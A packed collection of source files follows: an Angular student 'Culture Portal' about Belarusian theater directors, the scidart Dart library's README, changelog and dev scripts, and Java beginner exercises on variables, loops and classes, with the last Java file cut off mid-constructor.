redirectTo: 'home', pathMatch: 'full', }, { path: 'home', component: HomePageComponent, }, { path: 'allDirectors', loadChildren: () => import('./directors/directors.module').then(m => m.DirectorsModule), }, { path: 'director/:id', loadChildren: () => import('./detailed-information/detailed-information.module').then(m => m.DetailedInformationModule), }, { path: 'workLog', loadChildren: () => import('./worklog/worklog.module').then(m => m.WorkLogModule), }, { path: 'styleGuide', loadChildren: () => import('./styleguide/styleguide.module').then(m => m.StyleGuideModule), }, { path: 'ourTeam', loadChildren: () => import('./team-members/team-members.module').then(m => m.TeamMembersModule), }, { path: '**', component: Error404pageComponent, }, ]; @NgModule({ imports: [RouterModule.forRoot(routes)], exports: [RouterModule], }) export class AppRoutingModule {} <file_sep>import { Router } from '@angular/router'; import { Component, OnInit, Input } from '@angular/core'; import { Director } from '@shared/models/director'; @Component({ selector: 'app-director-card', templateUrl: './director-card.component.html', styleUrls: ['./director-card.component.scss'] }) export class DirectorCardComponent implements OnInit { @Input() public director: Director; constructor( private router: Router, ) { } ngOnInit(): void { } public handleClick() { this.router.navigate(['director', this.director.id]); } } <file_sep>import { Component, OnInit, Input } from '@angular/core'; import { TranslateService } from '@ngx-translate/core'; import { LanguageService } from '@core/services/language.service'; @Component({ selector: 'app-style-guide', templateUrl: './style-guide.component.html', styleUrls: ['./style-guide.component.scss'] }) export class StyleGuideComponent implements OnInit { title = 'Style Guide'; @Input() item; constructor( private translate: TranslateService, private languageService: LanguageService, ) { this.languageService.getLanguage().subscribe(lang => { this.translate.use(lang); }); } public ngOnInit(): void { this.translate.setDefaultLang('EN'); } } <file_sep>import { Injectable } from '@angular/core'; import { Director } from '@shared/models/director'; import { Directors } from '@shared/mock-data/mock.directors'; import { Directors as DirectorsBE } from '@shared/mock-data/mock.directorsBE'; import { Directors as DirectorsEN } from '@shared/mock-data/mock.directorsEN'; @Injectable({ providedIn: 'root', }) export class DirectorService { constructor() {} public getDirectorById(id: string, lang: string): Director { if (lang === 'RU') { return Directors.find(director => director.id === id); } else if (lang === 'EN') { return DirectorsEN.find(director => director.id === id); } return DirectorsBE.find(director => director.id === id); } } <file_sep>import { Component, OnInit } from '@angular/core'; import { GetRandomAuthorService } from '@core/services/get-random-author.service'; import { Director } from '@shared/models/director'; @Component({ selector: 'app-director-of-day-page', templateUrl: './director-of-day-page.component.html', styleUrls: ['./director-of-day-page.component.scss'], }) export class DirectorOfDayPageComponent implements OnInit { public author: Director; constructor(private service: GetRandomAuthorService) { this.service.author$.subscribe( (director) => { this.author = director; } ); } public ngOnInit(): void { this.service.getAuthor(); } } <file_sep>export interface Director { name: string; surname: string; id: string; yearsOfLife: string; birthPlace: string; generalInfo: string; biography: { date: string; content: string }[]; listOfWorks: { date?: string; work: string }[]; photos: string[]; videos?: string[]; placesOfActivity?: { activity: string; center: number[] }[]; } <file_sep># The Rolling Scopes School — Culture-Portal ## Group №6 (Angular course) ## Worklog and self evaluation ### Worklog # Evgeny-Kravchenko | time spent | feature | | ---------- | -------------------------------------- | | 0.5h | add typography to project | | 0.5h | add bootstrap to project | | 0.5h | create lazy-loaded modules | | 2h | create header component | | 2h | create portal description component | | 4h | inject i18n in the project | | 4h | translation of the header component using the i18n library | | 4h | translation of the page portal description using the i18n library | # ekater1na | time spent | feature | | ---------- | -------------------------------------- | | 0.5h | create initial project | | 1h | collect about team data | | 4h | create our team page | | 1h | translation of the page our team using the i18n library | | 4h | create style-guide page | # chivekrodis | time spent | feature | | ---------- | -------------------------------------- | | 0.5h | work on work log page | | 1h | collect team work log data | | 2h | work log mockup and styles | | 1h | create team names carousel | | 2h | create member log component | | 1h | add dynamic calculation of the total amount of time | | 3h | refactor work log data for using i18n library | | 3h | "generate i18n dictionary for three languages | | 2h | translation of the page our team using the i18n library | # madmike85 | time spent | feature | | ---------- | -------------------------------------- | | 2h | create detailed information page | | 4h | author's page contains timeline; | 2h | author's page contains video overlay; | 4h | author's page contains photo gallery; | 2h | author's page contains map (geowidget); # mariagolomb | time spent | feature | | ---------- | -------------------------------------- | | 2h | add core and shared modules | | 6h | work on directors component | | 6h | add search | # a-popova | time spent | feature | | ---------- | -------------------------------------- | | 0.5h | create necessary modules | | 3h | collect mock data about directors on russian language | | 4h | create author of the day component into the core module | | 1h | work on getRandomAuthor service | | 0.5h | init work log component | | 2h | collect extra mock data | | 1h | create 404 Page | | 4.5h | translate mock data to english | | 2h | translation of the page author of the day using the i18n library" _______ ### Self evaluation: 1. #### Task: https://github.com/rolling-scopes-school/tasks/blob/angular-2020Q1/tasks/angular/culture-portal.md 2. #### Submit 14.03.2020 23:30 / Deadline 14.03.2020 23:59 ### Total ### Maximum points - **280**/ **50 + 140 + 50 = 240** ### Min scope (4/4) - **50**/**50** - [x] **10** Main page + page with a list of authors + author's page (only pages with content without widgets); - [x] **10** Page with team members + page with worklog - [x] **10** Page with list of authors contains search widget; - [x] **20** Portal has two languages; ### Normal scope (10/10) - **140**/**140** - [x] **20** Portal has page with styleguide; - [x] **10** Mobile version is okey - [x] **10** Ipad/tablet version is okey - [x] **10** Author's page contains timeline; - [x] **10** Author's page contains video overlay; - [x] **20** Author's page contains photo gallery; - [x] **10** Author's page contains map (geowidget); - [x] **20** Design (typography, icons, colors, links + buttons + input, ui components are styled) - [x] **20** Material-ui / bootstrap is used - [x] **10** Portal has third language; ### Extra scope (3/6) - **90**/**50** - [x] **10** Confidence of the project presentation; - [ ] **10** Project is made using scully; - [ ] **10** Contentful / netlify cms / other cms is used for content management - [x] **20** Animations / special effects like paralax - [x] **20** Outstanding design; - [ ] **20** Storybook/angularplayground/compodoc/other angulaer styleguide/documentation tool usage for the page with styles <file_sep>import { StyleItem } from '@shared/models/style' export const StyleItems: StyleItem[] = [ { "name": "Visualization", "content": "content" }, { "name": "Typography", "content": "content" }, { "name": "Colors", "content": "content" }, ] <file_sep>export interface Developer { name: string; surname: string; photo: string; github: string; telegram: string; worklog: string; } <file_sep>import { NgModule } from '@angular/core'; import { CommonModule } from '@angular/common'; import { StyleGuideRoutingModule } from './styleguide-routing.module'; import { TranslateLoader, TranslateModule } from '@ngx-translate/core'; import { HttpClient } from '@angular/common/http'; import { TranslateHttpLoader } from '@ngx-translate/http-loader'; import { StyleGuideComponent } from './components/style-guide/style-guide.component'; import { StyleListComponent } from './pages/style-list/style-list.component'; const ModuleTranslate = TranslateModule.forChild({ loader: { provide: TranslateLoader, useFactory: HttpLoaderFactory, deps: [HttpClient], }, isolate: true, }); @NgModule({ declarations: [StyleGuideComponent, StyleListComponent], imports: [CommonModule, StyleGuideRoutingModule, ModuleTranslate], }) export class StyleGuideModule {} export function HttpLoaderFactory(http: HttpClient) { return new TranslateHttpLoader(http, './assets/i18n/styleguide/', '.json'); } <file_sep>import { Component, OnInit } from '@angular/core'; import { ActivatedRoute } from '@angular/router'; import { DirectorService } from '../../services/director.service'; import { Director } from '@shared/models/director'; import { LanguageService } from '@core/services/language.service'; import { TranslateService } from '@ngx-translate/core'; @Component({ selector: 'app-detailes', templateUrl: './detailes.component.html', styleUrls: ['./detailes.component.scss'], }) export class DetailesComponent implements OnInit { public director: Director; public currentVideo: string; public language = 'EN'; public id: string; constructor( private route: ActivatedRoute, private directorService: DirectorService, private translate: TranslateService, private languageService: LanguageService, ) { this.languageService.getLanguage().subscribe(lang => { this.translate.use(lang); this.language = lang; this.getDirector(this.id); }); } public ngOnInit(): void { this.translate.setDefaultLang('EN'); this.route.params.subscribe(params => { this.id = params.id; this.getDirector(params.id); }); } public getDirector(id: string): void { this.director = this.directorService.getDirectorById(id, this.language); } } <file_sep>// tslint:disable:max-line-length import { Director } from '@shared/models/director'; export const Directors: Director[] = [ { name: 'Evstigney', surname: 'Mirovich', id: '1', yearsOfLife: '29 July [10 August], 1878 - 25 February, 1952', birthPlace: 'St. Petersburg, the Russian Empire', generalInfo: "Russian and Belarusian Soviet actor, director, playwright, teacher, professor (1945). People's Artist of the Byelorussian SSR (1940).", biography: [ { date: '1900', content: 'He began his professional stage career in 1900 in St. Petersburg as an actor and director. He played in the Admiralty, Catherine, Kronstadt theaters, since 1910 in the miniature theaters: Troitsky, Intimate, Liteiny.', }, { date: '1921—1931', content: 'He began to work in theaters of Belarus. Artistic Director of the Belarusian State Drama Theater in Minsk.', }, { date: '1937—1940 ', content: 'Artistic Director of the Belarusian Theater of Young Spectators named after N. Krupskaya.', }, { date: '1941—1945', content: 'Director of the 1st Belarusian State Drama Theater in Minsk (now the Yanka Kupala National Academic Theater).', }, { date: '1945', content: ' Artistic director and head of the department of skill of the actor of the Belarusian Theater and Art Institute. Professor. He was also engaged in teaching at theatrical studios, at the Minsk Theater School.', }, ], listOfWorks: [ { date: '1923', work: '<NAME>', }, { date: '1927', work: 'Rebellion', }, { date: '1937', work: 'How the Steel Was Tempered', }, { date: '1939', work: 'Wonderful pipe', }, ], photos: [ '../assets/images/mirovich1.jpg', '../assets/images/mirovich3.jpg', '../assets/images/mirovich5.jpg', ], videos: ['https://www.youtube.com/watch?v=Yunms45xnog&feature=emb_logo'], placesOfActivity: [ { activity: '1st Belarusian State Drama Theater in Minsk (now - Yanka Kupala National Academic Theater)', center: [53.90088357066573, 27.562774500000007], }, ], }, { name: 'Larisa', surname: 'Aleksandrovskaya', id: '2', generalInfo: "Belarusian, Soviet opera singer (soprano), director, publicist, public figure. People's Artist of the USSR (1940).", yearsOfLife: '2 February [15 February], 1902 - 23 May, 1980', birthPlace: 'Minsk, the Russin Empire', biography: [ { date: '1924-1928', content: 'She studied at the Minsk College of Music, in 1928 - in a special opera class.', }, { date: '1933 - 1951', content: 'Soloist of the Belarusian Opera and Ballet Theater in Minsk. She performed both soprano and mezzo-soprano parts. During the war, she gave concerts at the fronts, in hospitals and in partisan detachments.', }, { date: '1951—1960 ', content: 'She was also the chief director of the Belarusian Opera and Ballet Theater. In the year she managed to release two premiere performances.', }, { date: '1946—1980', content: 'The initiator of the creation and the permanent chairman of the board of the Belarusian Theater Society.', }, ], listOfWorks: [ { date: '1951', work: 'And Quiet Flows the Don', }, { date: '1953', work: 'Aida', }, { date: '1954', work: '<NAME>', }, { date: '1955', work: 'Troubadour', }, { date: '1960', work: 'Queen of spades', }, ], photos: [ '../assets/images/aleksandrovskaya1.jpg', '../assets/images/aleksandrovskaya2.jpg', '../assets/images/aleksandrovskaya3.jpg', '../assets/images/aleksandrovskaya4.jpg', '../assets/images/aleksandrovskaya5.jpg', ], videos: ['https://www.youtube.com/watch?v=v3LC9JtorMM'], placesOfActivity: [ { activity: 'Belarusian Opera and Ballet Theater', center: [53.91074407066195, 27.561848999999974], }, ], }, { name: 'Boris', surname: 'Lutsenko', id: '3', generalInfo: "Soviet and Belarusian film and theater director. People's Artist of the Republic of Belarus (1995). Honored Art Worker of the Byelorussian SSR (1975).", yearsOfLife: '16 September, 1937 - 5 February, 2020', birthPlace: 'Maykop, Krasnodar Territory, RSFSR, USSR', biography: [ { date: '1967', content: 'He graduated from the Belarusian State Theater and Art Institute (course of V.A. Malankin, Honored Art Worker of the Belarusian SSR).', }, { date: '1967—1973, 1981—1982', content: 'He worked as a director of the Y. Kupala National Academic Theater.', }, { date: '1973—1981', content: 'He worked as the main director of the State Russian Drama Theater of the Belarusian SSR.', }, { date: '1991-2008, 2008-2020', content: 'Artistic director and then director of the National Gorky Academic Drama Theater.', }, ], listOfWorks: [ { date: '1974', work: '<NAME> «Macbeth»', }, { date: '1975', work: '<NAME> «Vasily Terkin»', }, { date: '1976', work: '<NAME> «The Last Ones»', }, { date: '1978', work: '<NAME> «To Go and not Return»', }, { date: '1997', work: 'Y. Kupala «The Ravaged Nest»', }, { date: '2002', work: 'Y. Kupala «The Dream on the Barrow»', }, ], photos: [ '../assets/images/lucenko1.jpg', '../assets/images/lucenko2.jpg', '../assets/images/lucenko4.jpg', ], videos: ['https://www.youtube.com/watch?v=wM-HkQ59usY'], placesOfActivity: [ { activity: 'National Academic Drama Theater named after <NAME>', center: [53.89840557065936, 27.551131999999964], }, ], }, { name: 'Ignat', surname: 'Bujnitski', id: '4', yearsOfLife: '10 [22] August, 1861 - 9 [22] September, 1917', birthPlace: 'Manor of Polivachi of the Prozorok volost (Glubokoe district of Vitebsk region)', generalInfo: 'Belarusian actor, director, theater figure, founder of the first professional national Belarusian theater.', biography: [ { date: '1907', content: 'Together with his daughters Wanda and Elena, as well as with their close friends, he created an amateur troupe in the Polivachi folklore. The feature of the performances was that the Belarusian language sounded from the stage, folk dances familiar to ordinary people were performed.', }, { date: '1910', content: 'On its basis, a permanent group was formed and long tours around Belarus began.', }, { date: '1913', content: 'Buinitsky organized the Prozorok Belarusian Credit Society, in which every peasant could get a loan at a small percentage.', }, { date: '1914—1916', content: 'Buinitsky took an active part in the activities of the Vilna society «To Help the Front».', }, { date: '1917', content: 'Was one of the initiators of the creation of the “First Partnership of Belarusian Drama and Comedy” in Minsk, on the basis of which the Yanka Kupala National Academic Theater arose.', }, { date: '1917', content: 'He went to the Western Front of the First World War.s', }, ], listOfWorks: [ { date: '1913', work: '«Lyavonikha»', }, { date: '1914', work: '«Duda-vesyalukha»', }, { date: '1914', work: '«According to revision» <NAME>', }, { date: '1916', work: '«Modny shlyzchtich» <NAME>anets', }, ], photos: ['../assets/images/bujnicki1.jpg', '../assets/images/bujnicki4.jpg'], videos: ['https://www.youtube.com/watch?v=ACDGr4TUkvs'], placesOfActivity: [ { activity: 'Glubokoe district of Vitebsk region', center: [55.18449707014662, 27.862847499999972], }, ], }, { name: 'Leoon', surname: 'Rachlenko', id: '5', yearsOfLife: '6 [19] September, 1907 - 9 March, 1986', birthPlace: 'Terechovka, Gomel County, Mogilev Province, Russian Empire', generalInfo: "Soviet actor, director, teacher. People's Artist of the USSR (1966).", biography: [ { date: '1924—1927', content: 'He studied at the Leningrad College of Performing Arts (student L.S. Vivien and S.E. Radlov).', }, { date: '1926-1927', content: 'Artist and assistant director of the Leningrad Worker Theater Proletkult.', }, { date: '1927-1928', content: 'Artistic Director of the Theater Workshop of the Kiev Council of Trade Unions.', }, { date: '1929—1981', content: 'Actor and director (from 1935) (in 1938-1943 - head of the art department) of the Theater. Y. Kupala in Minsk. He began directing activities under the guidance of <NAME>.', }, ], listOfWorks: [ { date: '1938', work: '«Partisans» <NAME>', }, { date: '1942', work: '«Front» <NAME>', }, { date: '1943', work: '«Russian people» <NAME>', }, { date: '1956', work: '«Kremlin chimes» <NAME>', }, { date: '1957', work: '«Thunderstorm year» <NAME>', }, ], photos: ['../assets/images/rahlenko1.jpg', '../assets/images/rahlenko3.jpg'], videos: ['https://www.youtube.com/watch?v=kimvRGqEe-U'], placesOfActivity: [ { activity: '1st Belarusian State Drama Theater in Minsk (now - Yanka Kupala National Academic Theater)', center: [53.90088357066573, 27.562774500000007], }, ], }, { name: 'Vladimit', surname: 'Tezavrousky', id: '6', yearsOfLife: '1880 - 1955', birthPlace: 'Livny, Oryol Province, Russian Empire', generalInfo: 'Soviet actor and director, Honored Artist of the RSFSR (1945).', biography: [ { date: '1901', content: 'Met with Nemirovich-Danchenko and began to work in his theater.', }, { date: '1905', content: 'He graduated from the art school at the theater and was immediately accepted into the main troupe of the theater.', }, { date: '1905—1918', content: 'The actor of the Moscow Art Theater. In 1918 he organized an art studio in Odessa. Then he worked as a director at the Massodram Theater (Odessa).', }, { date: '1917', content: 'made his only silent film in 4 parts «Headless woman».', }, { date: '1941—1946', content: 'The main director of the Moscow Regional Theater of Young Spectators.', }, { date: '1925', content: 'Director-administrator of the Opera Studio <NAME> in Moscow. He directed the opera in Minsk and Tiflis. He was the first opera director and founder of the Belarusian opera.', }, ], listOfWorks: [ { date: '1925', work: '«The Golden Cockerel» (N.Rimsky-Korsakov)', }, { date: '1926', work: '«E<NAME>» (P. Tchaikovsky)', }, { date: '1917', work: '«Headless woman»', }, { date: '1930', work: '«Poverty is No Vice» (A.Ostrovsky)', }, ], photos: [ '../assets/images/tezavrovski1.jpg', '../assets/images/tezavrovski3.jpg', '../assets/images/tezavrovski4.jpg', '../assets/images/tezavrovski5.jpg', ], videos: ['https://www.youtube.com/watch?v=nK_FVB1d_RM'], placesOfActivity: [ { activity: 'Moscow Academic Musical Theater of <NAME> and <NAME>', center: [55.764520568969374, 37.61039499999998], }, ], }, ]; <file_sep>import { StyleItem } from '@shared/models/style'; export const StyleItems: StyleItem[] = [ { name: 'Visualization', content: 'content' }, { name: 'Typography', content: 'content' }, { name: 'Colors', content: 'content' }, ];
d372bce205e7f8de2e0305a4662d584a56a85f47
[ "Markdown", "TypeScript", "HTML" ]
40
TypeScript
rss-group-6/culture-portal
38db397a4d4659cb89b771ecc8ca3a5669a902c7
b4fac735964898dc68762a53d2f8bef854b4d710
refs/heads/master
<repo_name>scidart/scidart<file_sep>/README.md # ![Scidart logo](https://github.com/scidart/scidart.org/blob/master/img/logo_small.png?raw=true) **SciDart** is an experimental cross-platform scientific library for Dart. ## 🏹 Goals The main goal of **SciDart** is run where Dart can run, in other words, run on Flutter, Dart CLI, Dart web, etc. ## 🏃 Motivation Some time ago I tried make a guitar tuner (frequency estimator) with Flutter, and I faced with the problem: Dart didn't have a unified scientific library. So, I tried implement something to help me and the community with this problem. ## 🧭 PUB link Link to the Pub repository: https://pub.dev/packages/scidart ## 🔌 Installation You can follow instruction in the Pub website: https://pub.dev/packages/scidart#-installing-tab- ## ⚒ Examples The examples can be found in [the project web site](https://scidart.org/#examples-scidart). ## 🛣 Project milestones All the project status will be shared and updated in the __Projects__ section of Github. ## 🙌 How to contribute I recommend check the __Projects__ section and choose a task or choose and solve a problem with **SciDart** and implement the missing parts and read the file CONTRIBUTING.md. The reference values for all functions came from with SciPy. The contributions need use SciPy as reference too. Every contribution need to have tests, documentation and examples, otherwise, the pull request will be blocked. ## ☕ Supporters Scidart is an open source project that runs on donations to pay the bills e.g. our domain name. If you want to support Scidart, you can ☕ [**buy a coffee here**](https://www.buymeacoffee.com/polotto). ## ⚠ License Copyright (c) 2019-present [<NAME>](https://github.com/polotto) and Contributors. Scidart is free and open-source software licensed under the [Apache-2.0 License](./LICENSE). The official logo was created by [<NAME>](https://www.linkedin.com/in/juliano-polotto-550ba379/) and distributed under Creative Commons license (CC BY-SA 4.0 International).<file_sep>/tool/extra_dependencies.sh #!/usr/bin/env bash # install http server pub global activate dhttpd<file_sep>/tool/publish_commands.sh #!/usr/bin/env bash # pack and publish publish package pub publish<file_sep>/tool/doc_commands.sh #!/usr/bin/env bash # generate doc dartdoc # open docs with http server dhttpd --path doc/api<file_sep>/CHANGELOG.md ## 0.0.2-dev.12 - Add operation created for Array2d (#48 Closed) ## 0.0.2-dev.11 - Enhance complex concat (#49 Closed) ## 0.0.2-dev.10 - PR #46 by myConsciousness merged (unnecessary imports removed and YML update) ## 0.0.2-dev.9 - `arange` moved to deprecated and replaced by `createArrayRange`, #39 closed - some typos fixed ## 0.0.2-dev.8 - Issue Infinite loop, memory exhausted with PolyFit(x, y, degree) #37, solved - some typos fixed ## 0.0.2-dev.7 - Typos in the Source Code ## 0.0.2-dev.6 - Performance improvements for Array.add ## 0.0.2-dev.5 - Array2d.fromArray is not deep copying the arrays in the list of arrays #31 - subArray2d and getColumn new methods ## 0.0.2-dev.4 - singular value decomposition for matrix m != n (SVD) - SVD bug to get U, V and S matrix fixed - pseudo inverse matrix using Moore–Penrose (matrixPseudoInverse) - new tests cases with matrix m != n - new tests cases for SVD with matrix m != n - matrixSub limit index added to avoid break - array2dInverseOfEachElement bug for elements equal 0 fixed, just keep it 0 ## 0.0.2-dev.3 - new array2d operations: array2dInverseOfEachElement, array2dPow ## 0.0.2-dev.2 - new array2d operations created: array2dAddToScalar, array2dDivisionToScalar, array2dMultiplyToScalar, array2dSubToScalar - new array operation created: arrayAddToScalar - new tests created for array and array2d operations ## 0.0.2-dev.1 - Null safety added to the package - FFT bug to big power of 2 arrays fixed - complexExp function created to calculate complex number natural exponent - arrayConcat changed to concatenate N arrays ## 0.0.1-dev.12 - PR #22 merged: Remove unused dart: imports ## 0.0.1-dev.11 - Even and Odd number double check created; - cross correlation for real and complex signals created; - dartfmt applied in the code; ## 0.0.1-dev.10 - Even and Odd number int check created; - matrix transpose bug fixed; - classes documentations improved; ## 0.0.1-dev.9 - PolyFit issue #16; - Dart lint warning fixed; ## 0.0.1-dev.8 - Logo url update. ## 0.0.1-dev.7 - License changed and documentation updates. ## 0.0.1-dev.6 - bug correction issue: https://github.com/scidart/scidart/issues/7 . ## 0.0.1-dev.5 - pubspec homepage updated. ## 0.0.1-dev.4 - README examples updated. ## 0.0.1-dev.3 - IO migrated to scidart_io. ## 0.0.1-dev.2 - Readme file updated. ## 0.0.1-dev.1 - NumDart, SciDart and IO fundamentals implemented and documented. <file_sep>/tool/check_commands.sh #!/usr/bin/env bash # flutter analyzer #flutter analyze # dart analyzer dartanalyzer lib test example dart analyze # format code dartfmt -w lib test example # update packages pub outdated --no-dev-dependencies --up-to-date --no-dependency-overrides # validate but do not publish the package. pub publish --dry-run # sequence useful dartfmt -w lib test example dartanalyzer lib test example pub publish --dry-run
5f20ea6f9b74b02a74528d3110a8ba9d827262f6
[ "Markdown", "Shell" ]
6
Markdown
scidart/scidart
c30a7f07e2fc449ab3995fa7039648a11af3de8f
2fe86f66c16c5824900b25c58f8330e1b7840584
refs/heads/main
<file_sep># Fundamentos-Java Este Proyecto Contiene Conceptos Y Ejercicios De Aprendizaje Para El Lenguaje De Programación Java <file_sep>package com._13_POO._02_AutomovilEjercicio; public enum TipoMotor { DIESEL, BENCINA } <file_sep>package com._02_Variables._05_TiposReferenciaObjeto; import java.lang.reflect.Method; public class _09_WrapperGetClass { public static void MethodGetClass() { String text = "Hello!!!, How Are You?"; Integer number = 23; Class strClass = text.getClass(); Class numberClass = number.getClass(); System.out.println("\n========== WRAPPERS METHOD GETCLASS =========="); System.out.println("WRAPPER STRING"); System.out.println("strClass = " + strClass); System.out.println("strClass.getSuperclass() = " + strClass.getSuperclass()); System.out.println("strClass.getName() = " + strClass.getName()); System.out.println("strClass.getSimpleName() = " + strClass.getSimpleName()); System.out.println("strClass.getPackageName() = " + strClass.getPackageName()); System.out.println("\nWRAPPER INTEGER"); System.out.println("numberClass = " + numberClass); System.out.println("numberClass.getSuperclass() = " + numberClass.getSuperclass()); System.out.println("numberClass.getSuperclass().getSuperclass() = " + numberClass.getSuperclass().getSuperclass()); System.out.println("numberClass.getName() = " + numberClass.getName()); System.out.println("numberClass.getSimpleName() = " + numberClass.getSimpleName()); System.out.println("numberClass.getPackageName() = " + numberClass.getPackageName()); System.out.println("\nCICLO WRAPPER STRING"); for (Method method: strClass.getMethods()) { System.out.println("method.getName() = " + method.getName()); } System.out.println("\nCICLO WRAPPER INTEGER"); for (Method method: numberClass.getMethods()) { System.out.println("method.getName() = " + method.getName()); } } } <file_sep>package com._14_Generics.Metodos; public class Main { public static void main(String[] args) { _01_GenericosParametros.genericosOgenerales(); _02_GenericosLimites.genericosLimites(); _03_GenericosComodines.genericosComodines(); System.out.println("\nMAXIMO ENTRE 1, 9, 4: "); System.out.println(_04_GenericosEjercicio.maximo(1, 9, 4)); System.out.println("MAXIMO ENTRE 3.9, 11.6, 7.78: "); System.out.println(_04_GenericosEjercicio.maximo(3.9, 11.6, 7.78)); System.out.println("MAXIMO ENTRE Zanahoria, Arándanos, Manzana: "); System.out.println(_04_GenericosEjercicio.maximo("zanahoria", "arándanos", "manzana")); } } <file_sep>package com._02_Variables._01_TiposPrimitivos; import com._02_Variables._01_TiposPrimitivos._01_Enteros._01_byte; import com._02_Variables._01_TiposPrimitivos._01_Enteros._02_short; import com._02_Variables._01_TiposPrimitivos._01_Enteros._03_int; import com._02_Variables._01_TiposPrimitivos._01_Enteros._04_long; import com._02_Variables._01_TiposPrimitivos._02_Decimales._05_float; import com._02_Variables._01_TiposPrimitivos._02_Decimales._06_double; import com._02_Variables._01_TiposPrimitivos._03_Character._07_char; import com._02_Variables._01_TiposPrimitivos._04_Boolean._08_boolean; import com._02_Variables._01_TiposPrimitivos._05_Dinamico._08_var; public class Main { public static void main(String[] args) { _01_byte.ValoresByte(); _02_short.ValoresShort(); _03_int.ValoresInt(); _04_long.ValoresLong(); _05_float.ValoresFloat(); _06_double.ValoresDouble(); _07_char.ValoresChar(); _08_boolean.ValoresBoolean(); _08_var.ValoresVar(); } } <file_sep>package com._02_Variables._03_ConversionDeTipos; public class _01_CadenasAPrimitivos { public static void cadenasAprimitivos() { String numeroByteStr = "125"; String numeroShortStr = "385"; String numeroIntStr = "50"; String numeroLongStr = "44678"; String numeroFloarStr = "45.45e3F"; String numeroDoubleStr = "324.56e3"; String logicoBooleanStr1 = "true"; String logicoBooleanStr2 = "false"; byte numeroByte = Byte.parseByte(numeroByteStr); short numeroShort = Short.parseShort(numeroShortStr); int numeroInt = Integer.parseInt(numeroIntStr); long numeroLong = Long.parseLong(numeroLongStr); float numeroFloat = Float.parseFloat(numeroFloarStr); double numeroDouble = Double.parseDouble(numeroDoubleStr); boolean logicoBoolean1 = Boolean.parseBoolean(logicoBooleanStr1); boolean logicoBoolean2 = Boolean.parseBoolean(logicoBooleanStr2); System.out.println("\n********** \"Conversiòn De Cadenas A Primitivos\" **********"); System.out.println("========== Conversion Primitivo \"byte\" =========="); System.out.println("numeroByteStr = " + numeroByteStr); System.out.println("numeroByte = " + numeroByte); System.out.println("\n========== Conversion Primitivo \"short\" =========="); System.out.println("numeroShortStr = " + numeroShortStr); System.out.println("numeroShort = " + numeroShort); System.out.println("\n========== Conversion Primitivo \"int\" =========="); System.out.println("numeroIntStr = " + numeroIntStr); System.out.println("numeroInt = " + numeroInt); System.out.println("\n========== Conversion Primitivo \"long\" =========="); System.out.println("numeroLongStr = " + numeroLongStr); System.out.println("numeroLong = " + numeroLong); System.out.println("\n========== Conversion Primitivo \"float\" =========="); System.out.println("numeroFloatStr = " + numeroFloarStr); System.out.println("numeroFloat = " + numeroFloat); System.out.println("\n========== Conversion Primitivo \"double\" =========="); System.out.println("numeroDoubleStr = " + numeroDoubleStr); System.out.println("numeroDouble = " + numeroDouble); System.out.println("\n========== Conversion Primitivo \"boolean\" =========="); System.out.println("logicoBooleanStr1 = " + logicoBooleanStr1); System.out.println("logicoBoolean1 = " + logicoBoolean1); System.out.println("\nlogicoBooleanStr2 = " + logicoBooleanStr2); System.out.println("logicoBoolean2 = " + logicoBoolean2); } } <file_sep>package com._13_POO._00_Conceptos._01_Clases; public class Persona { /* Atributos De La Clase */ String nombre; String apellido; /* Método De La Clase */ public void desplegarInformacion() { System.out.println("Nombre: " + nombre); System.out.println("Apellido: " + apellido); } /* Es Posible Tener El Método Main Dentro De La Clase, Pero Lo Recomendado Es Tenerlo En Otro Archivo */ /* public static void main(String[] args) { } */ } <file_sep>package com._02_Variables._05_TiposReferenciaObjeto; public class _05_WrapperFloat { public static void objetoFloat() { Float floatObject1 = Float.valueOf("13"); Float floatObject2 = Float.valueOf(Float.MAX_VALUE); Float floatObject3 = 33F; /** Pasar De Primitvo A Objeto (AutoBoxing) * Esto Se Puede Hacer De Forma Implicita También */ float floatPrimitivo1 = Float.MIN_VALUE; Float floatObject4 = Float.valueOf(floatPrimitivo1); /** Pasar De Objeto A Primitivo (AutoUnBoxing) * Esto Se Puede Hacer De Forma Implicita También */ Float floatObject5 = Float.valueOf(floatObject1); float floatPrimitivo2 = floatObject5; float floatPrimitivo3 = floatObject1.floatValue(); String valorTvLcd = "67000"; Float valorTV = Float.valueOf(valorTvLcd); System.out.println("\n========== CLASE WRAPPER FLOAT =========="); System.out.println("floatObject1 = " + floatObject1); System.out.println("floatObject2 = " + floatObject2); System.out.println("floatObject3 = " + floatObject3); System.out.println("floatObject4 = " + floatObject4); System.out.println("floatPrimitivo2 = " + floatPrimitivo2); System.out.println("floatPrimitivo3 = " + floatPrimitivo3); System.out.println("valorTV = " + valorTV); } } <file_sep>package com._13_POO._09_CrudDAO.Repositorio; import com._13_POO._09_CrudDAO.modelo.Cliente; import java.util.List; public interface IPaginable { List<Cliente> listar(int desde, int hasta); } <file_sep>package com._05_EstructurasAlgoritmicas._04_Switch; import java.util.Scanner; public class _03_EjercicioDiasMes { public static void numeroDiasMes() { int numeroDias = 0; Scanner teclado = new Scanner(System.in); System.out.println("\nIngrese El Nùmero Del Mes Del 1 - 12: "); int mes = teclado.nextInt(); System.out.println("Ingrese El Número Del Año (YYYY): "); int anio = teclado.nextInt(); switch (mes) { case 1: case 3: case 5: case 7: case 8: case 10: case 12: numeroDias = 31; break; case 4: case 6: case 9: case 11: numeroDias = 30; break; case 2: if (anio % 400 == 0 || ( (anio % 4 == 0) && !(anio % 100 == 0) ) ) { numeroDias = 29; } else { numeroDias = 28; } break; default: numeroDias = 0; System.out.println("Error Ingresando La Información"); break; } System.out.println("\nAño = " + anio); System.out.println("Numero De Dias = " + numeroDias); } } <file_sep>package com._05_EstructurasAlgoritmicas._05_For; public class Main { public static void main(String[] args) { _01_SentenciaFor.forNormal(); _02_ArraysFor.iterarArreglos(); } } <file_sep>package com._13_POO._01_AutomovilExplicacion; public class Automovil { private int idAuto; private String fabricante; private String modelo; private Color color = Color.GRIS; private double cilindrada; private int capacidadEstanque = 40; private TipoAutomovil tipo; private static Color colorPatente = Color.NARANJO; private static int capacidadEstanqueStatic = 30; private static int ultimoIdAuto; public static final Integer VELOCIDAD_MAX_CARRETERA = 120; public static final int VELOCIDAD_MAX_CIUDAD = 60; /*public static final String COLOR_ROJO = "Rojo"; public static final String COLOR_AMARILLO = "Amarillo"; public static final String COLOR_AZUL = "Azul"; public static final String COLOR_BLANCO = "Blanco"; public static final String COLOR_GRIS = "Gris";*/ public Automovil() { this.idAuto = ++Automovil.ultimoIdAuto; } public Automovil(String fabricante, String modelo) { this(); this.fabricante = fabricante; this.modelo = modelo; } public Automovil(String 